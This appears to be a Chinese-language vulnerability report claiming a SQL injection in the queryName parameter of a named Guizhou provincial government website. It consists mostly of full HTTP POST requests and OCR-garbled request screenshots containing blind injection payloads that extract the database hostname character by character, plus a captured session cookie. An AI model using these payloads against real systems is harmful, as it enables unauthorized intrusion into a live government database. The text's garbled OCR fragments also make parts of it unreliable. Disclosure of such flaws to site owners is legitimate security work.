贵州省人民政府存在SQL注入漏洞
网站地址: https://spzs.amr.guizhou.gov.cn/

存在SQL注入漏洞的数据包, 注入参数为queryName
POST /gz_society/society/production/list HTTP/1.1
Host: spzs.amr.guizhou.gov.cn
Content-Length: 35
Sec-Ch-Ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://spzs.amr.guizhou.gov.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://spzs.amr.guizhou.gov.cn/gz_society_ui/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

[bookmark: _GoBack]{"limit":6,"page":1,"queryName":""}
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没有第15位, 所以 @@hostname 为 mysql-matser1
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Request Response

[Prety e +7wi (S \n
9 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/109.0.0.0 Safari/537.36
10 Sec—Ch-Ua-Platform: "Windows"

11 0rigin: https://spzs. amr. guizhou. gov. cn

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: empty

15 Referer: https://spzs. amr. guizhou. gov. cn/gz_society_ui/

16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh—CN, zh;q=0.9

18 Connection: close

19
20 {

"limit":6,
"page":1,
"queryName":""or if (ORD (MID (@@hostname, 7, 1))=109, exp (1), exp (1111)) or""

}
@@ & >  Search.. pisz=1usin
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16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh—CN, zh;q=0.9

18 Connection: close

19
20 {

"limit":6,
"page":1,
"queryName":""or if (ORD (MID (@@hostname, 8, 1))=97, exp (1), exp (1111)) or'"

}
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18 Connection: close
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"limit
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"or if(ORD(MID (@@hostname, 10,1))=116, exp (1), exp (1111)) or""
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18 Connection: close
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"limit
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"or if(ORD(MID (@@hostname, 11,1))=101, exp (1), exp (1111)) or""
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18 Connection: close
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2 Host: spzs. amr. guizhou. gov. cn

3|Cookie: SHAREJSESS|ONID=bd802917-215b-4b5b-9762-4fcf912e4d14; SERVERID=10c2bd579426d69ee902a44552fc5de |1676522112(1676522099
4 Content-Length: 92

5 Sec-Ch-Ua: "Not_A Brand";v="99", "Google Chrome";
6 Accept: application/json, text/plain, */*

7 Content-Type: application/json;charset=UTF-8

8 Sec—Ch-Ua-Mobile: 20

9 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/109.0.0.0 Safari/537.36
10 Sec—Ch-Ua-Platform: "Windows"
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15 Referer: https://spzs. amr. guizhou. gov. cn/gz_society_ui/

16 Accept-Encoding: gzip, deflate
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16 Accept-Encoding: gzip, deflate
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18 Connection: close
19
20 {
"limit":6,
"page":1,
"queryName":""or if (ORD (MID (@@hostname, 1,1))=109, exp (1), exp (1111)) or""
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18 Connection: close
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